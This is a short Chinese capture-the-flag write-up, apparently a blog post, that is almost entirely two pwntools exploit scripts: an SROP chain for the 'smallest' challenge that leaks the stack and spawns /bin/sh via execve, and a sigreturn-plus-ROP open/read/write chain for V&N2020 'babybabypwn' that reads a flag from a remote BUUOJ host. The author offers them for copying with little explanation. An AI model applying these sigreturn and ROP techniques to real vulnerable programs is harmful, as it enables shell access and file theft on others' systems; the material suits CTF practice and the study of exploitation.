懒的写了,反正不太难,遇到直接抄这俩题的exp就好了
smallest
借用依晨师傅的堆栈变化图,我是懒狗
exp:
from pwn import *
local = 1
binary = "./smallest"
if local == 1:
p = process(binary)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
dbg()
main = 0x4000B0 #skip xor rax,rax is 0x40000B3
syscall_ret = 0x4000BE
payload = p64(main) * 3 #the first use to return to send payload(write)
# the second use to change the last byte to 'b3'
#the third use to return
p.send(payload)
payload = '\xb3' #rax = 1 write(1,rsp,0x400)
p.send(payload)
stack = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("[*]stack:",hex(stack))
context(arch = 'amd64',os = 'linux')
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack
sigframe.rdx = 0x400
sigframe.rsp = stack
sigframe.rip = syscall_ret
payload = p64(main) + p64(0) + str(sigframe)
p.send(payload)
p.send(p64(syscall_ret) + 7*'\x00')
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack + 0x200
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = stack
sigframe.rip = syscall_ret
payload = p64(main) + p64(0) + str(sigframe)
final = payload + (0x200 - len(payload)) * '\x00' + "/bin/sh\x00"
p.send(final)
p.send(p64(syscall_ret) + 'hackedy')
gdb.attach(p)
p.interactive()
[V&N2020 公开赛]babybabypwn
加了个沙箱

这个直接给了我们系统调用,rt_sigreturn

我们直接用ORW打就行,先用sigreturn调用read,在libc的bss段布置rop链执行,然后就读flag就完事了
exp:
from pwn import *
local = 0
binary = "./vn_pwn_babybabypwn_1"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",29234)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context(arch = 'amd64',os = 'linux')
libc = ELF('./libc-2.23.so')
p.recvuntil('Here is my gift: ')
puts = int(p.recv(14),16)
libc_base = puts - libc.sym['puts']
print "[*] libc_base:",hex(libc_base)
libc_bss = libc_base + 0x3C5720
read = libc_base + libc.sym['read']
open = libc_base + libc.sym['open']
write = libc_base + libc.sym['write']
sigframe = SigreturnFrame()
sigframe.rdi = 0
sigframe.rsi = libc_bss
sigframe.rdx = 0x100
sigframe.rip = read
sigframe.rsp = libc_bss
payload = str(sigframe)[8:]
print payload
print "payload length:",len(payload)
p.sendafter('Please input magic message: ',payload)
pop_rdi_ret = libc_base + 0x0000000000021102
pop_rsi_ret = libc_base + 0x00000000000202e8
pop_rdx_ret = libc_base + 0x0000000000001b92
print hex(pop_rdi_ret)
print hex(pop_rsi_ret)
print hex(pop_rdx_ret)
flag = libc_bss + 152
payload = p64(pop_rdi_ret) + p64(flag) + p64(pop_rsi_ret) + p64(0) + p64(open)
payload += p64(pop_rdi_ret) + p64(0x3) + p64(pop_rsi_ret) + p64(libc_bss + 300) + p64(pop_rdx_ret) + p64(0x30) + p64(read)
payload += p64(pop_rdi_ret) + p64(0x1) + p64(pop_rsi_ret) + p64(libc_bss + 300) + p64(pop_rdx_ret) + p64(0x30) + p64(write)
payload += "flag\x00"
print len(payload)
p.send(payload)
p.interactive()